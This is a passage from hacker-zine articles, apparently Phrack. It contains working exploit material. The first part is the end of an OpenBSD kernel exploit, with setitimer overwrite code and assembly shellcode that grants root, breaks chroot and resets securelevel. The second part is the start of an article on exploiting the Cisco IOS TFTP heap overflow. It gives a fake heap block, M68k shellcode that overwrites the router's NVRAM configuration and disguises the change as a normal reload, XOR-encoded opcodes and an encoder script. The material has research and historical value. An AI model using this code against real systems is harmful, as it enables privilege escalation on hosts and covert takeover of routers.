printf("using u_cred, we will have perminent euid=0\n"); goto out; } val.it_interval.tv_sec = 0x00; cred = (long) ((char *) kp.kp_proc.p_cred+4); stat = (long) kp.kp_proc.p_stats; printf("calculating which for u_cred:\n"); which = cred - stat - 0x90; rem = ((u_long)which%0x10); printf("which: %.8x reminder: %x\n", which, rem); switch(rem) { case 0x8: case 0x4: printf("too bad rem is fucked!\nlet me know about this!!\n"); exit(0); case 0x0: break; case 0xc: which += 0x10; } printf("\nusing p_cred instead of u_cred, only the new process " "will be priviliged\n"); out: which = which >> 4; printf("which: %.8x\n", which); printf("addr to overwrite: %.8x\n", stat + 0x90 + (which * 0x10)); } <--> ./ex_kernel/ex_setitimer_obsd.c <++> ./ex_kernel/kernel_sc.s # kernel level shellcode # noir@olympos.org | noir@uberhax0r.net # 2002 .text .align 2,0x90 .globl _main .type _main , @function _main: call moo .long 0x12345678 .long 0xdeadcafe .long 0xbeefdead nop nop nop moo: pop %edi mov (%edi),%ecx # parent's proc addr on ecx # update p_cred->p_ruid mov 0x10(%ecx),%ebx # ebx = p_cred xor %eax,%eax # eax = 0 mov %eax,0x4(%ebx) # p_ruid = 0 # update pc_ucred->cr_uid mov (%ebx),%edx # edx = pc_ucred mov %eax,0x4(%edx) # cr_uid = 0 # update p_fd->fd_rdir to break chroot() mov 0x14(%ecx),%edx # edx = p_fd mov %eax,0xc(%edx) # p_fd->fd_rdir = 0 lea 0x68(%esp),%ebp # set ebp to normal # find where to return: sidt technique sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region in eax mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx sal $0x10,%ecx sal $0x10,%edx shr $0x10,%edx or %ecx,%edx # edx = ecx | edx; _Xosyscall_end # search for Xosyscall_end+XXX: call _syscall instruction xor %ecx,%ecx up: inc %ecx movb (%edx,%ecx),%bl cmpb $0xe8,%bl jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp # search for _syscall+0xXXX: call *%eax # and return to where we were supposed to! # _syscall+0x240: ff # _syscall+0x241: d0 0x240,0x241 on obsd3.1 mov %ecx,%edi # ecx is addr of _syscall movw $0xd0ff,%ax cld mov $0xffffffff,%ecx repnz scasw #scan (%edi++) for %ax #return to *%edi xor %eax,%eax #set up the return value to Success ;) push %edi ret <--> ./ex_kernel/kernel_sc.s <++> ./ex_kernel/secl_sc.s # securelevel reset shellcode # noir@olympos.org | noir@uberhax0r.net # 2002 .text .align 2,0x90 .globl _main .type _main , @function _main: call moo .long 0x12345678 moo: pop %edi mov (%edi),%ebx # address of securelevel xor %eax,%eax # eax = 0 mov %eax,(%ebx) # securelevel = 0 lea 0x68(%esp),%ebp # set ebp to normal # find where to return: sidt technique sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region in eax mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx sal $0x10,%ecx sal $0x10,%edx shr $0x10,%edx or %ecx,%edx # edx = ecx | edx; _Xosyscall_end # search for Xosyscall_end+XXX: call _syscall instruction xor %ecx,%ecx up: inc %ecx movb (%edx,%ecx),%bl cmpb $0xe8,%bl jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp # search for _syscall+0xXXX: call *%eax # and return to where we were supposed to! # _syscall+0x240: ff # _syscall+0x241: d0 OBSD3.1 mov %ecx,%edi # ecx is addr of _syscall movw $0xd0ff,%ax cld mov $0xffffffff,%ecx repnz scasw #scan (%edi++) for %ax #return to *%edi xor %eax,%eax #set up the return value to Success ;) push %edi ret <--> ./ex_kernel/secl_sc.s |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x07 of 0x10 |=-------------=[ Burning the bridge: Cisco IOS exploits ]=--------------=| |=-----------------------------------------------------------------------=| |=----------------=[ FX of Phenoelit ]=----------------=| --[ Contents 1 - Introduction and Limitations 2 - Identification of an overflow 3 - IOS memory layout sniplets 4 - A free() exploit materializes 5 - Writing (shell)code for Cisco 6 - Everything not covered in 1-5 --[ 1 - Introduction and Limitations This article is to introduce the reader into the fun land of exploiting a routing device made by Cisco Systems. It is not the final word on this toppic and merely reflects our research results. According to Cisco Systems, around 85% of all software issues in IOS are the direct or indirect result of memory corruptions. By the time of this writing, yours truly is not aware of one single case, where overflowing something in Cisco IOS led to a direct overwrite of a return address. Although there are things like stacks in IOS, it seems to be very uncommon for IOS coders to use local function buffers. Therefore, most (if not all) overflows we will encounter are some way or anyother heap based. As a fellow researcher used to say, bugs are not an unlimited resource. Especially overflow bugs in Cisco IOS are fairly rare and not easily compared to each other. This article will therefore limit the discussion to one particular bug: the Cisco IOS TFTP server filename overflow. When using your router as a TFTP server for files in the flash filesystem, a TFTP GET request with a long (700 characters) filename will cause the router to crash. This happens in all IOS versions from 11.1 to 11.3. The reader might argue the point that this is no longer a widely used branch, but yours truly asks you to bare with him to the end of this article. The research results and methods presented here were collected during inspection and exploitation attempts using the already mentioned TFTP bug. By the time of this writing, other bugs are researched and different approaches are tested, but the here presented procedure is still seen as the most promising for widespread use. This translates to: use your favorite private Cisco IOS overflow and try it. --[ 2 - Identification of an overflow While the reader is probably used to identify stack smashing in a split second on a commonly used operating system, he might have difficulties identifying an overflow in IOS. As yours truly already mentioned, most overflows are heap based. There are two different ways in IOS to identify a heap overflow when it happens. Being connected to the console, the reader might see output like this: 01:14:16: %SYS-3-OVERRUN: Block overrun at 2C01E14 (red zone 41414141) -Traceback= 80CCC46 80CE776 80CF1BA 80CF300 01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc 20E3ADC,80CA1D8 20DFBE0,80CA1D8 20CF4FC,80CA1D8 20C851C,80CA1D8 20C6F20,80CA1D8 20B43FC,80CA1D8 20AE130,80CA1D8 2075214,80CA1D8 01:14:16: %SYS-6-MTRACE: mallocfree: addr, pc 20651E0,80CA1D8 205EF04,80CA1D8 205B338,80CA1D8 205AB80,80CA1D8 20AFCF8,80CA1C6 205A664,80CA1D8 20AC56C,80CA1C6 20B1A88,80CA1C6 01:14:16: %SYS-6-BLKINFO: Corrupted redzone blk 2C01E14, words 382, alloc 80ABBFC, InUse, dealloc 206E2F0, rfcnt 1 In this case, an IOS process called "Check heaps", of which we will hear a lot more later, has identified a problem in the heap structures. After doing so, "Check heaps" will cause what we call a software forced crash. It means that the process kills the Cisco and makes it reboot in order to get rid of the problem. We all know this behavior from users of MS-DOS or Windows based systems. What happend here is that an A-Strip overwrote a boundary between two heap memory blocks. This is protected by what Cisco calls a "RED ZONE", which in fact is just a static canary. The other way a heap overflow could manifest itself on your console is an access violation: *** BUS ERROR *** access address = 0x5f227998 program counter = 0x80ad45a status register = 0x2700 vbr at time of exception = 0x4000000 special status word = 0x0045 faulted cycle was a longword read This is the case when you are lucky and half of the work is already done. IOS used a value that you somehow influenced and referenced to not readable memory. Unfortunately, those overflows are later harder to exploit, since tracking is a lot more difficult. At this point in time, you should try to figure out under which exact circumstances the overflow happens - pretty much like with every other bug you find. If the lower limit of your buffer size changes, try to make sure that you don't play with the console or telnet(1) connections to the router during your tests. The best is always to test the buffer length with a just rebooted router. While it doesn't change much for most overflows, some react differently when the system is freshly rebooted compared to a system in use. --[ 3 - IOS memory layout sniplets To get any further with the overflow, we need to look at the way IOS organizes memory. There are basically two main areas in IOS: process memory and IO memory. The later is used for packet buffers, interface ring buffers and so on and can be of interest for exploitation but does not provide some of the critical things we are looking for. The process memory on the other hand behaves a lot like dynamic heap memory in Linux. Memory in IOS is split up in blocks. There seems to be a number of pointer tables and meta structures dealing with the memory blocks and making sure IOS can access them in an efficient way. But at the end of the day, the blocks are hold together in a linked list structure and store their management information mostly inline. This means, every memory block has a header, which contains information about the block, it's previous one and the next one in the list. +--------------+ .-- | Block A | <-. | +--------------+ | +-> | Block B | --+ +--------------+ | Block C | +--------------+ The command "show memory processor" clearly shows the linked list structure. A memory block itself consists of the block header with all the inline management information, the data part where the actual data is stored and the red zone, which we already encountered. The format is as follows: |<- 32 bit ->| Comment +--------------+ | MAGIC | Static value 0xAB1234CD +--------------+ | PID | IOS process ID +--------------+ | Alloc Check | Area the allocating process uses for checks +--------------+ | Alloc name | Pointer to string with process name +--------------+ | Alloc PC | Code address that allocated this block +--------------+ | NEXT BLOCK | Pointer to the next block +--------------+ | PREV BLOCK | Pointer to the previous block +--------------+ | BLOCK SIZE | Size of the block (MSB marks "in use") +--------------+ | Reference # | Reference count (again ???) +--------------+ | Last Deallc | Last deallocation address +--------------+ | DATA | | | .... | | +--------------+ | RED ZONE | Static value 0xFD0110DF +--------------+ In case this memory block is used, the size field will have it's most significant bit set to one. The size is represented in words (2 bytes), and does not include the block overhead. The reference count field is obviously designed to keep track of the number of processes using this block, but yours truly has never seen this being something else then 1 or 0. Also, there seem to be no checks for this field in place. In case the memory block is not used, some more management data is introduced at the point where the real data was stored before: | [BLOCK HEAD] | +--------------+ | MAGIC2 | Static value 0xDEADBEEF +--------------+ | Somestuff | +--------------+ | PADDING | +--------------+ | PADDING | +--------------+ | FREE NEXT | Pointer to the next free block +--------------+ | FREE PREV | Pointer to the previous free block +--------------+ | | .... | | +--------------+ | RED ZONE | Static value 0xFD0110DF +--------------+ Therefore, a free block is an element in two different linked lists: One for the blocks in general (free or not), another one for the list of free memory blocks. In this case, the reference count will be zero and the MSB of the size field is not set. Additionally, if a block was used at least once, the data part of the block will be filled with 0x0D0D0D0D. IOS actually overwrites the block data when a free() takes place to prevent software issues from getting out of hand. At this point, yours truly would like to return to the toppic of the "Check heaps" process. It is here to run about once a minute and checks the doubly linked lists of blocks. It basically walks them down from top to buttom to see if everything is fine. The tests employed seem to be pretty extensive compared to common operating systems such as Linux. As far as yours truly knows, this is what it checks: 1) Doest the block being with MAGIC (0xAB1234CD)? 2) If the block is in use (MSB in size field is set), check if the red zone is there and contains 0xFD0110DF. 3) Is the PREV pointer not NULL? 4) If there is a NEXT pointer ... 4.1) Does it point right after the end of this block? 4.2) Does the PREV pointer in the block pointed to by NEXT point back to this block's NEXT pointer? 5) If the NEXT pointer is NULL, does this block end at a memory region/pool boundary [NOTE: not sure about this one]. 6) Does the size make sense? [NOTE: The exact test done here is still unknown] If one of these tests is not satisfied, IOS will declare itself unhappy and perform a software forced crash. To some extend, one can find out which test failed by taking a look at the console output line that says "validblock_diagnose = 1". The number indicates what could be called "class of tests", where 1 means that the MAGIC was not correct, 3 means that the address is not in any memory pool and 5 is really a bunch of tests but mostly indicates that the tests lined out in point 4.1 and 4.2 failed. --[ 4 - A free() exploit materializes Now that we know a bit about the IOS memory structure, we can plan to overflow with some more interesting data than just 0x41. The basic idea is to overwrite the next block header, hereby provide some data to IOS, and let it work with this data in a way that gives us control over the CPU. How this is usually done is explained in [1]. The most important difference here is, that we first have to make "Check heaps" happy. Unfortunately, some of the checks are also performed when memory is allocated or free()ed. Therefore, slipping under the timeline of one minute between two "Check heaps" runs is not an option here. The biggest problems are the PREV pointer check and the size field. Since the vulnerability we are working with here is a string overflow, we also have the problem of not being able to use 0x00 bytes. Let's try to deal with the issues we have one by one. The PREV pointer has to be correct. Yours truly has not found any way to use arbitrary values here. The check outlined in the checklist as 4.2 is a serious problem, since it is done on the block we are sitting in - not the one we are overflowing. To illustrate the situation: +--------------+ | Block Head | ... | AAAAAAAAAAAA | <--- You are here | AAAAAAAAAAAA | | AAAAAAAAAAAA | +--------------+ | RED ZONE | <--- Your data here +==============+ | Block Head | ... We will call the uppermost block, who's data part we are overflowing, the "host block", because it basically "hosts" our evildoing. For the sake of clarity, we will call the overwritten block header the "fake block", since we try to fake it's contents. So, when "Check heaps" or comparable checks during malloc() and free() are performed on our host block, the overwrite is already noticed. First of all, we have to append the red zone canary to our buffer. If we overflow exactly with the number of bytes the buffer can hold and append the red zone dword 0xFD0110DF, "Check heaps" will not complain. From here one, it's fair game up to the PREV ptr - because the values are either static (MAGIC) or totally ignored (PID, Alloc ptrs). Assumed we overwrite RED ZONE, MAGIC, PID, the three Alloc pointer, NEXT and PREV, a check performed on the host block will already trigger a software forced crash, since the PREV pointer we overwrote in the next block does not point back to the host block. We have only one way today to deal with this issue: we crash the device. The reason behind this is, that we put it in a fairly predictable memory state. After a reboot, the memory is more or less structured the same way. This also depends on the amount of memory available in the device we are attacking and it's certainly not a good solution. When crashing the device the first time with an A-Strip, we can try to grab logging information off the network or the syslog server if such a thing is configured. Yours truly is totally aware of the fact that this prevents real-world application of the technique. For this article, let's just assume you can read the console output. Now that we know the PREV pointer to put into the fake block, let's go on. For now ignoring the NEXT pointer, we have to deal with the size field. The fact that this is a 32bit field and we are doing a string overflow prevents us from putting reasonable numbers in there. The smallest number for a used block would be 0x80010101 and for an unused one 0x01010101. This is much more than IOS would accept. But to make a long story short, putting 0x7FFFFFFF in there will pass the size field checks. As simple as that. In this particular case, as with many application level service overflows in IOS, our host block is one of the last blocks in the chain. The most simple case is when the host block is the next-to-last block. And viola, this is the case with the TFTP server overflow. In other cases, the attack involves creating more than one fake block header and becomes increasingly complicated but not impossible. But from this point on, the discussion is pretty much centered around the specific bug we are dealing with. Assumed normal operation, IOS will allocate some block for storing the requested file name. The block after that is the remaining free memory. When IOS is done with the TFTP operation, it will free() the block it just allocated. Then, it will find out that there are two free blocks - one after the other - in memory. To prevent memory fragmentation (a big problem on heavy load routers), IOS will try to coalesce (merge) the free blocks into one. By doing so, the pointers for the linked lists have to be adjusted. The NEXT and PREV pointers of the block before that and the block after that (the remaining free memory) have to be adjusted to point to each other. Additionally, the pointers in the free block info FREE NEXT and FREE PREV have to be adjusted, so the linked list of free blocks is not broken. Out of the sudden, we have two pointer exchange operations that could really help us. Now, we know that we can not choose the pointer in PREV. Although, we can choose the pointer in NEXT, assumed that "Check heaps" does not fire before our free() tok place, this only allowes us to write the previous pointer to any writable location in the routers memory. Being usefull by itself, we will not look deeper into this but go on to the FREE NEXT and FREE PREV pointers. As the focused reader surely noticed, these two pointers are not validated by "Check heaps". What makes exploitation of this situation extremely convenient is that fact, that the pointer exchange in FREE PREV and FREE NEXT only relies on the values in those two fields. What happens during the merge operation is this: + the value in FREE PREV is written to where FREE NEXT points to plus an offset of 20 bytes + the value in FREE NEXT is written to where FREE PREV points to The only thing we need now is a place to write a pointer to. As with many other pointer based exploits, we are looking for a fairly static location in memory to do this. Such a static location (changes per IOS image) is the process stack of standard processes loaded right after startup. But how do we find it? In the IOS memory list, there is an element called the "Process Array". This is a list of pointers - one for every process currently running in IOS. You can find it's location by issuing a "show memory processor allocating-process" command (output trimmed): radio#show memory processor allocating-process Processor memory Address Bytes Prev. Next Ref Alloc Proc Alloc PC What 258AD20 1504 0 258B32C 1 *Init* 20D62F0 List Elements 258B32C 3004 258AD20 258BF14 1 *Init* 20D6316 List ... 258F998 1032 258F914 258FDCC 1 *Init* 20E5108 Process Array 258FDCC 1000 258F998 25901E0 1 Load Meter 20E54BA Process Stack 25901E0 488 258FDCC 25903F4 1 Load Meter 20E54CC Process 25903F4 128 25901E0 25904A0 1 Load Meter 20DD1CE Process Events This "Process Array" can be displayed by the "show memory" command: radio#show memory 0x258F998 0258F990: AB1234CD FFFFFFFE +.4M...~ 0258F9A0: 00000000 020E50B6 020E5108 0258FDCC ......P6..Q..X}L 0258F9B0: 0258F928 80000206 00000001 020E1778 .Xy(...........x 0258F9C0: 00000000 00000028 02590208 025D74C0 .......(.Y...]t@ 0258F9D0: 02596F3C 02598208 025A0A04 025A2F34 .Yo<.Y...Z...Z/4 0258F9E0: 025AC1FC 025BD554 025BE920 025BFD2C .ZA|.[UT.[i .[}, 0258F9F0: 025E6FF0 025E949C 025EA95C 025EC484 .^op.^...^)\.^D. 0258FA00: 025EF404 0262F628 026310DC 02632FD8 .^t..bv(.c.\.c/X 0258FA10: 02634350 02635634 0263F7A8 026418C0 .cCP.cV4.cw(.d.@ 0258FA20: 026435FC 026475E0 025D7A38 026507E8 .d5|.du`.]z8.e.h 0258FA30: 026527DC 02652AF4 02657200 02657518 .e'\.e*t.er..eu. 0258FA40: 02657830 02657B48 02657E60 0269DCFC .ex0.e{H.e~`.i\| 0258FA50: 0269EFE0 026A02C4 025DD870 00000000 .io`.j.D.]Xp.... 0258FA60: 00000000 025C3358 026695EC 0266A370 .....\3X.f.l.f#p While you also see the already discussed block header format in action now, the interesting information starts at 0x0258F9C4. Here, you find the number of processes currently running on IOS. They are ordered by their process ID. What we are looking for is a process that gets executed every once in a while. The reason for this is, if we modify something in the process data structures, we don't want the process being active at this point in time, so that the location we are overwriting is static. For this reason, yours truly picked the "Load Meter" process, which is there to measure the system load and is fired off about every 30 seconds. Let's get the PID of "Load Meter": radio#show processes cpu CPU utilization for five seconds: 2%/0%; one minute: 3%; five minutes: 3% PID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTY Process 1 80 1765 45 0.00% 0.00% 0.00% 0 Load Meter Well, conveniently, this process has PID 1. Now, we check the memory location the "Process Array" points to. Yours truly calls this memory location "process record", since it seems to contain everything IOS needs to know about the process. The first two entries in the record are: radio#sh mem 0x02590208 02590200: 0258FDF4 025901AC .X}t.Y., 02590210: 00001388 020E488E 00000000 00000000 ......H......... 02590220: 00000000 00000000 00000000 00000000 ................ The first entry in this record is 0x0258FDF4, which is the process stack. You can compare this to the line above that says "Load Meter" and "Process Stack" on it in the output of "show memory processor allocating-process". The second element is the current stack pointer of this process (0x025901AC). By now it should also be clear why we want to pick a process with low activity. But surprisingly, the same procedure also works quite well with busier processes such as "IP Input". Inspecting the location of the stack pointer, we see something quite familiar: radio#sh mem 0x025901AC 025901A0: 025901C4 .Y.D 025901B0: 020DC478 0256CAF8 025902DE 00000000 ..Dx.VJx.Y.^.... This is classic C calling convention: first we find the former frame pointer and then we find the return address. Therefore, 0x025901B0 is the address we are targeting to overwrite with a pointer supplied by us. The only question left is: Where do we want the return address to point to? As already mentioned, IOS will overwrite the buffer we are filling with 0x0D0D0D0D when the free() is executed - so this is not a good place to have your code in. On the other hand, the fake block's data section is already considered clean from IOS's point of view, so we just append our code to the fake block header we already have to send. But what's the address of this? Well, since we have to know the previous pointer, we can calculate the address of our code as offset to this one - and it turns out that this is actually a static number in this case. There are other, more advanced methods to deliver the code to the device, but let's keep focused. The TFTP filename we are asking for should now have the form of: +--------------+ | AAAAAAAAAAAA | ... | AAAAAAAAAAAA | +--------------+ | FAKE BLOCK | | | .... | | +--------------+ | CODE | | | .... +--------------+ At this point, we can build the fake block using all the information we gathered: char fakeblock[] = "\xFD\x01\x10\xDF" // RED "\xAB\x12\x34\xCD" // MAGIC "\xFF\xFF\xFF\xFF" // PID "\x80\x81\x82\x83" // "\x08\x0C\xBB\x76" // NAME "\x80\x8a\x8b\x8c" // "\x02\x0F\x2A\x04" // NEXT "\x02\x0F\x16\x94" // PREV "\x7F\xFF\xFF\xFF" // SIZE "\x01\x01\x01\x01" // "\xA0\xA0\xA0\xA0" // padding "\xDE\xAD\xBE\xEF" // MAGIC2 "\x8A\x8B\x8C\x8D" // "\xFF\xFF\xFF\xFF" // padding "\xFF\xFF\xFF\xFF" // padding "\x02\x0F\x2A\x24" // FREE NEXT (in BUFFER) "\x02\x59\x01\xB0" // FREE PREV (Load Meter return addr) ; When sending this to the Cisco, you are likely to see something like this: *** EXCEPTION *** illegal instruction interrupt program counter = 0x20f2a24 status register = 0x2700 vbr at time of exception = 0x4000000 depending on what comes after your fake block header. Of course, we did not provide code for execution yet. But at this point in time, we got the CPU redirected into our buffer. --[ 5 - Writing (shell)code for Cisco Before one can write code for the Cisco platform, you have to decide on the general processor architecture you are attacking. For the purpose of this paper, we will focus on the lower range devices running on Motorola 68k CPUs. Now the question is, what do you want to do with your code on the system. Classic shell code design for commonly used operating system platforms uses syscalls or library functions to perform some port binding and provide shell access to the attacker. The problem with Cisco IOS is, that we will have a hard time keeping it alive after we performed our pointer games. This is because in contrast to "normal" daemons, we destroyed the memory management of the operating system core and we can not expect it to cope with the mess we left for it. Additionally, the design of IOS does not feature transparent syscalls as far as yours truly knows. Because of it's monolithic design, things are linked together at build time. There might be ways to call different subfunctions of IOS even after an heap overflow attack, but it appears to be an inefficient route to take for exploitation and would make the whole process even more instable. The other way is to change the routers configuration and reboot it, so it will come up with the new config, which you provided. This is far more simpler than trying to figure out syscalls or call stack setups. The idea behind this approach is, that you don't need any IOS functionality anymore. Because of this, you don't have to figure out addresses and other vital information about the IOS. All you have to know is which NVRAM chips are used in the box and where there are mapped. This might sound way more complicated than identifying functions in an IOS image - but is not. In contrast to common operating systems on PC platforms, where the number of possible hardware combinations and memory mappings by far exceedes a feasable mapping range, it's the other way around for Cisco routers. You can have more than ten different IOS images on a single platform - and this is only one branch - but you always have the same general memory layout and the ICs don't change for the most part. The only thing that may differ between two boxes are the modules and the size of available memory (RAM, NVRAM and Flash), but this is not of big concern for us. The non-volatile random access memory (NVRAM) stores the configuration of a Cisco router in most cases. The configuration itself is stored in plain text as one continious C-style string or text file and is terminated by the keyword 'end' and one or more 0x00 bytes. A header structure contains information like the IOS version that created this configuration, the size of it and a checksum. If we replace the config on the NVRAM with our own and calculate the numbers for the header structure correctly, the router will use our IP addresses, routings, access lists and (most important) passwords next time it reloads. As one can see on the memory maps [2], there are one (in the worst case two) possible memory addresses for the NVRAM for each platform. Since the NVRAM is mapped into the memory just like most memory chips are, we can access it with simple memory move operations. Therefore, the only thing we need for our "shell" code is the CPU (M68k), it's address and data bus and the cooperation of the NVRAM chip. There are things to keep in mind about NVRAM. First of all, it's slow to write to. The Xicor chips yours truly encountered on Cisco routers require that after a write, the address lines are kept unchanged for the time the chip needs to write the data. A control register will signal when the write operation is done. Since the location of this control register is not known and might not be the same for different types of the same platform, yours truly prefers to use delay loops to give the chip time to write the data - since speed is not the attackers problem here. Now, that we know pretty much what we want to do, we can go on and look at the "how" part of things. First of all, you need to produce assembly for the target platform. A little known fact is, that IOS is actually build (at least some times) using GNU compilers. Therefore, the binutils[3] package can be compiled to build Cisco compatible code by setting the target platform for the ./configure run to --target=m68k-aout. When you are done, you will have a m68k-aout-as binary, which can produce your code and a m68k-aout-objdump to get the OP code values. In case the reader is fluent in Motorola 68000 assembly, I would like to apologize for the bad style, but yours truly grew up on Intel. Optimizations and style guides are welcome. Anyway, let's start coding. For a string overflow scenario like this one, the recommended way for small code is to use self-modification. The main code will be XOR'd with a pattern like 0x55 or 0xD5 to make sure that no 0x00 bytes show up. A bootstrap code will decode the main code and pass execution on to it. The Cisco 1600 platform with it's 68360 does not have any caching issues to worry us (thanks to LSD for pointing this out), so the only issue we have is avoiding 0x00 bytes in the bootstrap code. Here is how it works: --- bootstrap.s --- .globl _start _start: | Remove write protection for NVRAM. | Protection is Bit 1 in BR7 for 0x0E000000 move.l #0x0FF010C2,%a1 lsr (%a1) | fix the brance opcode | 'bne decode_loop' is OP code 0x6600 and this is bad lea broken_branch+0x101(%pc),%a3 sub.a #0x0101,%a3 lsr (%a3) | perform dummy load, where 0x01010101 is then replaced | by our stack ptr value due to the other side of the pointer | exchange move.l #0x01010101,%d1 | get address of the real code appended plus 0x0101 to | prevent 0x00 bytes lea xor_code+0x0101(%pc),%a2 sub.a #0x0101,%a2 | prepare the decode register (XOR pattern) move.w #0xD5D5,%d1 decode_loop: | Decode our main payload code and the config eor.w %d1,(%a2)+ | check for the termination flag (greetings to Bine) cmpi.l #0xCAFEF00D,(%a2) broken_branch: | this used to be 'bne decode_loop' or 0x6600FFF6 .byte 0xCC,0x01,0xFF,0xF6 xor_code: --- end bootstrap.s --- You may assemble the code into an object file using: linux# m68k-aout-as -m68360 -pic --pcrel -o bootstrap.o bootstrap.s There are a few things to say about the code. Number one are the first two instructions. The CPU we are dealing with supports write protection for memory segments [4]. Information about the memory segments is stored in so-called "Base Registers", BR0 to BR7. These are mapped into memory at 0x0FF00000 and later. The one we are interested in (BR7) is at 0x0FF010C2. Bit0 tells the CPU if this memory is valid and Bit1 if it's write protected, so the only thing we need to do is to shift the lower byte one Bit to the right. The write protection Bit is cleared and the valid Bit is still in place. The second thing of mild interest is the broken branch code, but the explaination in the source should make this clear: the OP code of "BNE" unfortunately is 0x6600. So we shift the whole first word one to the right and when the code runs, this is corrected. The third thing is the dummy move to d1. If the reader would refer back to the place we discussed the pointer exchange, he will notice that there is a "back" part in this operation: namely the stack address is written to our code plus 20 bytes (or 0x14). So we use a move operation that translates to the OP code of 0x223c01010101, located at offset 0x12 in our code. After the pointer exchange takes place, the 0x01010101 part is replaced by the pointer - which is then innocently moved to the d1 register and ignored. When this code completed execution, the appended XOR'd code and config should be in memory in all clear text/code. The only thing we have to do now is copy the config in the NVRAM. Here is the appropriate code to do this: --- config_copy.s --- .globl _start _start: | turn off interrupts move.w #0x2700,%sr; move.l #0x0FF010C2,%a1 move.w #0x0001,(%a1) | Get position of appended config and write it with delay lea config(%pc),%a2 move.l #0x0E0002AE,%a1 move.l #0x00000001,%d2 copy_confg: move.b (%a2)+,(%a1)+ | delay loop move.l #0x0000FFFF,%d1 write_delay: subx %d2,%d1 bmi write_delay cmp.l #0xCAFEF00D,(%a2) bne copy_confg | delete old config to prevent checksum errors delete_confg: move.w #0x0000,(%a1)+ move.l #0x0000FFFF,%d1 | delay loop write_delay2: subx %d2,%d1 bmi write_delay2 cmp.l #0x0E002000,%a1 blt delete_confg | perform HARD RESET CPUReset: move.w #0x2700,%sr moveal #0x0FF00000,%a0 moveal (%a0),%sp moveal #0x0FF00004,%a0 moveal (%a0),%a0 jmp (%a0) config: --- end config_copy.s --- There is no particular magic about this part of the code. The only thing worth noticing is the final CPU reset. There is reason why we do this. If we just crash the router, there might be exception handlers in place to save the call stack and other stuff to the NVRAM. This might change checksums in an unpredictable way and we don't want to do this. The other reason is, that a clean reset makes the router look like it was rebooted by an administrator using the "reload" command. So we don't raise any questions despite the completely changed configuration ;-) The config_copy code and the config itself must now be XOR encoded with the pattern we used in the bootstrap code. Also, you may want to put the code into a nice char array for easy use in a C program. For this, yours truly uses a dead simple but efficient Perl script: --- objdump2c.pl --- #!/usr/bin/perl $pattern=hex(shift); $addressline=hex(shift); while () { chomp; if (/[0-9a-f]+:\t/) { (undef,$hexcode,$mnemonic)=split(/\t/,$_); $hexcode=~s/ //g; $hexcode=~s/([0-9a-f]{2})/$1 /g; $alc=sprintf("%08X",$addressline); $addressline=$addressline+(length($hexcode)/3); @bytes=split(/ /,$hexcode); $tabnum=4-(length($hexcode)/8); $tabs="\t"x$tabnum; $hexcode=""; foreach (@bytes) { $_=hex($_); $_=$_^$pattern if($pattern); $hexcode.=sprintf("\\x%02X",$_); } print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n"; } } --- end objdump2c.pl --- You can use the output of objdump and pipe it into the script. If the script got no parameter, it will produce the C char string without modifications. The first optional paramter will be your XOR pattern and the second one can be the address your buffer is going to reside at. This makes debugging the code a hell of a lot easier, because you can refer to the comment at the end of your C char string to find out which command made the Cisco unhappy. The output for our little config_copy.s code XOR'd with 0xD5 looks like this (trimmed for phrack): linux# m68k-aout-objdump -d config_copy.o | > ./objdump2XORhex.pl 0xD5 0x020F2A24 "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A24) "\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A28) "\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A2E) "\x90\x2F\xD5\x87" //lea %pc@(62 ),%a2 (0x020F2A32) "\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A36) "\xA1\xD4" //moveq #1,%d2 (0x020F2A3C) "\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A3E) "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A40) "\x46\x97" //subxw %d2,%d1 (0x020F2A46) "\xBE\xD5\x2A\x29" //bmiw 22 (0x020F2A48) "\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A4C) "\xB3\xD5\x2A\x3F" //bnew 1a (0x020F2A52) "\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A56) "\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A5A) "\x46\x97" //subxw %d2,%d1 (0x020F2A60) "\xBE\xD5\x2A\x29" //bmiw 3c (0x020F2A62) "\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2A66) "\xB8\xD5\x2A\x3D" //bltw 32 (0x020F2A6C) "\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A70) "\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2A74) "\xFB\x85" //moveal %a0@,%sp (0x020F2A7A) "\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2A7C) "\xF5\x85" //moveal %a0@,%a0 (0x020F2A82) "\x9B\x05" //jmp %a0@ (0x020F2A84) Finally, there is only one more thing to do before we can compile this all together: new have to create the new NVRAM header and calculate the checksum for our new config. The NVRAM header has the form of: typedef struct { u_int16_t magic; // 0xABCD u_int16_t one; // Probably type (1=ACII, 2=gz) u_int16_t checksum; u_int16_t IOSver; u_int32_t unknown; // 0x00000014 u_int32_t cfg_end; // pointer to first free byte in // memory after config u_int32_t size; } 